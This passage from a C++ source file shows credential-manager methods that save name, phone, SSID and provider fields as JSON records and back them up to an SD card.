    if (name) doc["name"] = name;
    if (phone) doc["phone"] = phone;
    if (purpose) doc["purpose"] = purpose;
    
    bool result = addCredential(doc);
    if (result) {
        autoBackupToSD();
    }
    return result;
}

bool CredentialManager::addSocialCredential(const char* ssid, const char* provider) {
    DynamicJsonDocument doc(1024);
    doc["type"] = "social";
    if (ssid) doc["ssid"] = ssid;
    if (provider) doc["provider"] = provider;
    
    bool result = addCredential(doc);
    if (result) {
        autoBackupToSD();
    }
    return result;
}
